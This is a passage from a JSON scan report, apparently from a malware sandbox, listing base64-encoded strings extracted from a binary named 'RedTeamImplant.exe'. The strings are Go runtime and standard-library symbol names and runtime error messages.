Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVN5bmNCYXRjaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVN5bmNCYXRjaC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVRocmVhZERlc3Ryb3k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVRocmVhZERlc3Ryb3kuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci5lbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci5lbnN1cmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci5ldmVudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci5mbHVzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci5mbHVzaC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci5yZWZpbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci5yZWZpbGwuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci53cml0ZUdvU3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci53cml0ZVByb2NTdGF0dXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVdyaXRlci53cml0ZVByb2NTdGF0dXNGb3JQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cnlnZXRmdWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cnlSZWNvcmRHb3JvdXRpbmVQcm9maWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cnlSZWNvcmRHb3JvdXRpbmVQcm9maWxlV0I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50c3RhcnRfc3RkY2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlQXNzZXJ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlQml0c0J1bGtCYXJyaWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlZG1lbWNscg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlZG1lbW1vdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlZHNsaWNlY29weQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlaGFzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlbGlua3Npbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlUG9pbnRlcnMuZmFzdEZvcndhcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlUG9pbnRlcnMubmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlUG9pbnRlcnMubmV4dEZhc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50eXBlc0VxdWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bmJsb2NrVGltZXJDaGFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bmxvY2sy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bmxvY2syV2FrZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bmxvY2tleHRyYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5VbmxvY2tPU1RocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bmxvY2tPU1RocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bmxvY2tXaXRoUmFuaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bm1pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bnBhY2tTY2F2Q2h1bmtEYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bnJlYWNoYWJsZU1ldGhvZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bnNwaWxsQXJncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51bndpbmRt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51cGRhdGVNYXhQcm9jc0dvcm91dGluZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51c2xlZXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS51c2xlZXBfbm9fZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YWl0UmVhc29uLmlzSWRsZUluU3luY3Rlc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YWl0UmVhc29uLmlzTXV0ZXhXYWl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YWl0UmVhc29uLmlzV2FpdGluZ0ZvclN1c3BlbmRH","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YWl0UmVhc29uLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YWtlZmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YWtlTmV0UG9sbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YWtlcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YW50QXN5bmNQcmVlbXB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YkJ1ZkZsdXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YkJ1ZkZsdXNoLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53YkJ1ZkZsdXNoMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53Yk1vdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53Ylplcm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aW5kb3dzRmluZGZ1bmM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aW5kb3dzTG9hZFN5c3RlbUxpYg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aW50aHJvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aW50aHJvdy50cmFjZWJhY2tvdGhlcnMuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aW50bHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aXJlcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aXJlcC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53aXJlcC5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53cml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53cml0ZTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53cml0ZUNvbnNvbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53cml0ZUNvbnNvbGVVVEYxNg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53cml0ZUVycg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53cml0ZUVyckRhdGE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS53cml0ZUVyclN0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS9kZWJ1Zy5TZXRUcmFjZWJhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS90cmFjZS5ydW50aW1lX3RyYWNlQ2xvY2tVbml0c1BlclNlY29uZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZTogZmFpbGVkIHRvIGNyZWF0ZSBuZXcgT1MgdGhyZWFkIChoYXZlIHJ1bnRpbWU6IHBhbmljIGJlZm9yZSBtYWxsb2MgaGVhcCBpbml0aWFsaXplZHN0b3BUaGVXb3JsZDogbm90IHN0b3BwZWQgKHN0YXR1cyAhPSBfUGdjc3RvcClzZWxlY3Qgb24gc3luY3Rlc3QgY2hhbm5lbCBmcm9tIG91dHNpZGUgYnViYmxlc2lnbmFsIGFycml2ZWQgZHVyaW5nIGV4dGVybmFsIGNvZGUgZXhlY3V0aW9uY29tcGlsZUNhbGxiYWNrOiBmbG9hdCBhcmd1bWVudHMgbm90IHN1cHBvcnRlZHJ1bnRpbWU6IG5hbWUgb2Zmc2V0IGJhc2UgcG9pbnRlciBvdXQgb2YgcmFuZ2VydW50aW1lOiB0eXBlIG9mZnNldCBiYXNlIHBvaW50ZXIgb3V0IG9mIHJhbmdlcnVudGltZTogdGV4dCBvZmZzZXQgYmFzZSBwb2ludGVyIG91dCBvZiByYW5nZWludmFyaWFudCBmYWlsZWQ6IGdyb3d0aExlZnQgaXMgdW5leHBlY3RlZGx5IDB1bmV4cGVjdGVkIGVycm9yIHdyYXBwaW5nIHBvbGwuRXJyRmlsZUNsb3Npbmc6IHJlZmxlY3QuVmFsdWUuQnl0ZXMgb2YgdW5hZGRyZXNzYWJsZSBieXRlIGFycmF5c2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbOjoleF0gd2l0aCBsZW5ndGggJXlyZWNlaXZlIG9uIHN5bmN0ZXN0IGNoYW5uZWwgZnJvbSBvdXRzaWRlIGJ1YmJsZXJ1bnRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZUN0eA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnVudGltZUVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZWhhc2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnd1bmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UyhIOVAodVhI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2F2ZUluZm9Gcm9tUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2NhbkFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2Nhbm5lZEJpdHNGb3JJbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2Nhbm5lZFN0YWNrcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2Nhbm5lZFN0YWNrU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2NhdmVuZ2VBc3Npc3RUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2NhdmVuZ2VCZ1RpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2NhdmVuZ2VUb3RhbFRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2NoZWRsaW5r","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2NoZWR0aWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2NoZWR3aGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHlEZXNjcmlwdG9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHlTY2hlbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2Vlbkxvc3N5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2VsZWN0RG9uZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2VuZExvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VydmljZUZsYWdzMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VydmljZUZsYWdzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VydmljZUZsYWdzMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VydmljZUZsYWdzNA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29tcGxleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZUN0cmxIYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RGVhZGxpbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0RGVhZGxpbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RXJyb3JNb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RXZlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0RXZlbnRFcnI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0SXRlcktleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0SXRlclZhbHVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0TG9jYGNA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TWFwSW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0T2Zmc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0UGlubmVyQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UG9pbnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UHJvY2Vzc1ByaW9yaXR5Qm9vc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0UmVhZERlYWRsaW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0UmVhZERlYWRsaW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0c29ja29wdEluZXQ0QWRkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0c29ja29wdEludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0c29ja29wdElQTXJlcQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0c29ja29wdElQdjZNcmVx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0c29ja29wdExpbmdlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0U3RhdHVzVHJhY2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0U3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0VXNlckFyZW5hQ2h1bmtUb0ZhdWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2FpdGFibGVUaW1lcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V3JpdGVEZWFkbGluZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2V0V3JpdGVEZWFkbGluZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2hvdWxkRW5hYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2hvdWxkUHJpbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2hvdWxkU3RvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2h1dGRvd24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2lmdERvd24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2lnY29kZTA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2lnY29kZTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2lnbmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2lnbmFsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2lnbmFsUGVuZGluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2lndHJhbXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2l6ZWNsYXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2tpcFN5bmNOb3RpZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xlZXBDb250cm9sbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xlZXBSYXRpbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xlZXBTdHVi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xlZXBXaGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLkluc2VydFtnby5zaGFwZS5bXXVpbnQ4LGdvLnNoYXBlLnVpbnQ4XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLmluc2VydGlvblNvcnRDbXBGdW5jW2dvLnNoYXBlLnN0cnVjdCB7IEtleSByZWZsZWN0LlZhbHVlOyBWYWx1ZSByZWZsZWN0LlZhbHVlIH1d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLm92ZXJsYXBzW2dvLnNoYXBlLnVpbnQ4XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLlJldmVyc2VbZ28uc2hhcGUuW11nby5zaGFwZS51aW50OCxnby5zaGFwZS51aW50OF0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLnJvdGF0ZUNtcEZ1bmNbZ28uc2hhcGUuc3RydWN0IHsgS2V5IHJlZmxlY3QuVmFsdWU7IFZhbHVlIHJlZmxlY3QuVmFsdWUgfV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLnJvdGF0ZUxlZnRbZ28uc2hhcGUudWludDhd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"c2xpY2VzLnJvdGF0ZVJpZ2h0W2dvLnNoYXBlLnVpbnQ4XQ==","type":"Ansi","source":"Memory/File 